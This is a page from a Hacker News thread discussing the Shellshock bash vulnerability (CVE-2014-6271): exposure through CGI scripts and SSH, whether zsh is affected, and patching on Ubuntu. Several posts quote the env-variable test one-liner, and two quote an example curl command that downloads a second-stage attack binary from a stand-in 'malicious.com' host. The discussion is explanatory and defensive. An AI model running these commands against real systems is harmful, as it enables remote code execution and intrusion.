Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

CVE-2014-6271: Remote code execution through bash

seclists.org

Post reply on HN
Print view View original

131–140 of 432 posts

Re: CVE-2014-6271: Remote code execution through bash

#131

Post by cpncrunch »

adamt wrote: post #95
zobzu wrote: post #42

I have a feeling this is blown out of proportion. Who's running bash setuid exactly? Right. Who's running shell CGIs today? Right. So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...

As I understand this, any CGI script could be affected. Even if written in a different language if it turn does an os.system (or equivalent). More info here: https://securityblog.redhat.com/2014/09/24/bash-specially-cr... The permissions would only be as the web server user, but that allows all sorts of things to be run that are quite dangerous (resource exhaustion, attacking remote machines, downloading code and run…

You would still need to be able to pass arbitrary data to the bash command, and if your php (or whatever) script does that, you have a lot of other potential problems to worry about.

Re: CVE-2014-6271: Remote code execution through bash

#132

Post by peterwwillis »

jimrandomh wrote: post #125
JoshTriplett wrote: post #120

Is it just me, or are the patches "fixing" the vulnerability woefully insufficient? With the patch, bash stops executing the trailing code, but it still allows defining arbitrary shell functions from environment variables. So, even though the patch fixes the ability to exploit this via SSH_ORIGINAL_COMMAND or HTTP_*, anything that can set environment variables can still override an arbitrary command. (Note that privi…

Attacker-controlled environment variable names are a rare scenario, and one that probably has you hosed no matter what. Attacker-controlled environment variable values , on the other hand, are not so rare, and if not for this vulnerability they wouldn't be a problem.

More specifically: The environment in general is an attack vector. I mean, it's global input that crosses execution domains! Any name/value pair could potentially mess with any number of programs in unexpected ways. A user should not be able to control any environment changes, period. Of course, whether or not this is practical is an exercise for the sysadmin.

Re: CVE-2014-6271: Remote code execution through bash

#134

Post by zobzu »

fabulist wrote: post #81
zobzu wrote: post #42

I have a feeling this is blown out of proportion. Who's running bash setuid exactly? Right. Who's running shell CGIs today? Right. So.. who has an example of common scripts that are executed remotely in most servers while accepting remote environment? Til then, the panic seems unjustified...

Google brings up 410 .bash CGIs. Every one of them is almost guaranteed to be vulnerable at this point. Of the 1.2 million .sh CGIs, some are surely vulnerable. By this time, many of them are already be in the process of being owned. CGIs are likely the smallest piece of the vulnerable hosts here. This is going to stick around as a local vulnerability on the plentiful supply of under-patched Linux boxes for a long ti…

thats a really small number of servers actually.. i mean ppl get owned every day, every minute. theres a bunch of more easily exploitable local bugs that actually elevate your privileges.

this one bug DOES NOT elevate privs. you need a service that passes unsanitized env vars (unchecked user input) to bash with another user id than yours.

Re: CVE-2014-6271: Remote code execution through bash

#135

Post by sophacles »

dllthomas wrote: post #98
sophacles wrote: post #66

Earlier quoted context omitted.

Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example: curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin could be the payload. This will download then run a secondary attack binary. Then the attacker wins.

That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.

I think it comes down to a jargon vs technical language thing. In formal settings arbitrary code execution is a different thing from privilege escalation. In casual jargony talk though, security guys tend to equate code execution with privilege escalation with box ownage.

Basically it goes "why would anyone not follow the execution -> escalation -> own path?" It's such an automatic assumption, combined with the basic premise of "there's no such thing as a secure computer", that the exact details are a hand-wave. This comes from the repeated demonstration that it's almost always true.

Re: CVE-2014-6271: Remote code execution through bash

#136

Post by scott_karana »

javert wrote: post #101

So if a machine is not running a web server, does that mean that machine is not vulnerable?

It might not be vulnerable, but any context where a user can pass environment variables might be dangerous.

Eg, if you allow ANY environment variables in SSH rsync-only logins, or pass on any variables (for good or bad) in sudo scripts, etc.

Re: CVE-2014-6271: Remote code execution through bash

#137

Post by ckuehl »

flebron wrote: post #63

Maybe I'm doing something wrong, but I just tested it in ZSH (5.0.5, Linux) and the same vulnerable behavior seems to show up.

How are you testing it? If you're just pasting one of the proof-of-concept lines into zsh, such as this one:

    env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
...then you're really just executing bash. Replace "bash" in the line above with "zsh" and the "vulnerable" line is not printed.

Re: CVE-2014-6271: Remote code execution through bash

#138

Post by pjungwir »

sauere wrote: post #116
matchu wrote: post #83

Earlier quoted context omitted.

So, as a amateur sysadmin of a decently popular side project, what should I do? I've read over the post on the mailing list, and I think I understand the basic attack, but I'm having trouble understanding exactly how an attacker could run bash on my server and what I therefore need to patch (though I suspect that's intentional). Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server?

> Is `sudo apt-get update && sudo apt-get upgrade` sufficient on an Ubuntu server? Yes. Patch is out.

It appears that Linode changes /etc/apt/sources.list to point to their own mirror of Ubuntu repositories, and as far as I can tell those are not updated yet. So I guess the solution is to wait or edit sources.list. Just FYI if you're on their systems!

Re: CVE-2014-6271: Remote code execution through bash

#139

Post by pja »

Crito wrote: post #119
flexd wrote: post #82

Earlier quoted context omitted.

I see this in zsh 5.0.0 on Ubuntu, and on OSX as well! zsh 5.0.2 (x86_64-apple-darwin13.0)

I'm not seeing this on zsh 4.3.17. Exactly what did you run to see this?

They probably ran

  env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
but failed to spot that the second command invokes bash not zsh.

My tests suggest that neither zsh 4.3.17 or 5.0.6 (the versions that ship with Debian stable & testing respectively) are vulnerable to this exploit - if you replace bash with zsh in the test oneliner then the code after the end of the function definition in the environment variable is not executed.

Re: CVE-2014-6271: Remote code execution through bash

#140

Post by fragmede »

dllthomas wrote: post #98
sophacles wrote: post #66

Earlier quoted context omitted.

Basically, anywhere this vulnerability exists, there is the option to run arbitrary code. That is for example: curl malicious.com/local_privilege_escalation_binary -o /tmp/iwin; iwin could be the payload. This will download then run a secondary attack binary. Then the attacker wins.

That's true of any code execution vulnerability, though - it seems odd to call out the privilege elevation specifically. If that's all the GP meant, then sure, I fully grok.

Most code executions vulnerabilities aren't remotely accessible, which this is, which makes priv-escalation particularly nasty. (eg: incorrectly assuming that since www-data user doesn't have access to anything sensitive, this bug isn't a big deal)
Post reply on HN